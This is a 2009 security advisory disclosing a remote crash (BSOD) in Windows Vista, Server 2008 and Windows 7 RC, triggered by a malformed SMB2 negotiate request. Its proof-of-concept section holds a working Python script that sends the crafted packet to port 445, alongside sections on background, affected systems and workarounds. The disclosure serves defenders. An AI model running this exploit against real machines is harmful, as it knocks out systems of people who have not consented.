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- Release date: September 7th, 2009
- Discovered by: Laurent Gaffi
- Severity: High
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I. VULNERABILITY
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Windows Vista, Server 2008 < R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
II. BACKGROUND
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Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.
III. DESCRIPTION
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[Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue:
KB942624 (MS07-063)
Installing only this specific update on Vista SP0 create the following issue:
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.
IV. PROOF OF CONCEPT
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Smb-Bsod.py:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
V. BUSINESS IMPACT
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An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.
VI. SYSTEMS AFFECTED
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[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC.
VII. SOLUTION
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No patch available for the moment.
Close SMB feature and ports, until a patch is provided.
Configure your firewall properly
You can also follow the MS Workaround:
http://www.microsoft.com/technet/security/advisory/975497.mspx
VIII. REFERENCES
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http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx
IX. CREDITS
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This vulnerability has been discovered by Laurent Gaffi
Laurent.gaffie{remove-this}(at)gmail.com
X. REVISION HISTORY
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September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release
XI. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
XII.Personal Notes
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Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish them advisory.
